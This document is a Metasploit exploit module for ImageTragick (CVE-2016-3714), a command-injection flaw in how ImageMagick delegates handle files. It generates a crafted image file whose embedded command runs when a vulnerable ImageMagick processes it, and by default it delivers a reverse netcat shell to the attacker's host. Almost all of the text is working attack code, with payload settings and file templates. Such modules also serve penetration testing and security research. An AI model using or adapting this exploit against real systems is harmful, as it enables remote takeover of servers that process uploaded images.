| 
	 ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##   class MetasploitModule < Msf::Exploit     Rank = ExcellentRanking     include Msf::Exploit::FILEFORMAT     def initialize(info = {})     super(update_info(info,       'Name'            => 'ImageMagick Delegate Arbitrary Command Execution',       'Description'     => %q{         This module exploits a shell command injection in the way "delegates"         (commands for converting files) are processed in ImageMagick versions         <= 7.0.1-0 and <= 6.9.3-9 (legacy).           Since ImageMagick uses file magic to detect file format, you can create         a .png (for example) which is actually a crafted SVG (for example) that         triggers the command injection.           Tested on Linux, BSD, and OS X. You'll want to choose your payload         carefully due to portability concerns. Use cmd/unix/generic if need be.       },       'Author'          => [         'stewie',            # Vulnerability discovery         'Nikolay Ermishkin', # Vulnerability discovery         'wvu',               # Metasploit module         'hdm'                # Metasploit module       ],       'References'      => [         %w{CVE 2016-3714},         %w{URL https://imagetragick.com/},         %w{URL http://seclists.org/oss-sec/2016/q2/205},         %w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},         %w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456}       ],       'DisclosureDate'  => 'May 3 2016',       'License'         => MSF_LICENSE,       'Platform'        => 'unix',       'Arch'            => ARCH_CMD,       'Privileged'      => false,       'Payload'         => {         'BadChars'      => "\x22\x27\x5c", # ", ', and \         'Compat'        => {           'PayloadType' => 'cmd cmd_bash',           'RequiredCmd' => 'generic netcat bash-tcp'         }       },       'Targets'         => [         ['SVG file',  template: 'msf.svg'], # convert msf.png msf.svg         ['MVG file',  template: 'msf.mvg'], # convert msf.svg msf.mvg         ['MIFF file', template: 'msf.miff'] # convert -label "" msf.svg msf.miff       ],       'DefaultTarget'   => 0,       'DefaultOptions'  => {         'PAYLOAD'               => 'cmd/unix/reverse_netcat',         'LHOST'                 => Rex::Socket.source_address,         'DisablePayloadHandler' => false,         'WfsDelay'              => 9001       }     ))       register_options([       OptString.new('FILENAME', [true, 'Output file', 'msf.png'])     ])   end     def exploit     if target.name == 'SVG file'       p = Rex::Text.html_encode(payload.encoded)     else       p = payload.encoded     end       file_create(template.sub('echo vulnerable', p))   end     def template     File.read(File.join(       Msf::Config.data_directory, 'exploits', 'CVE-2016-3714', target[:template]     ))   end   end 
	
  | 
 
 
|   | 
 
  |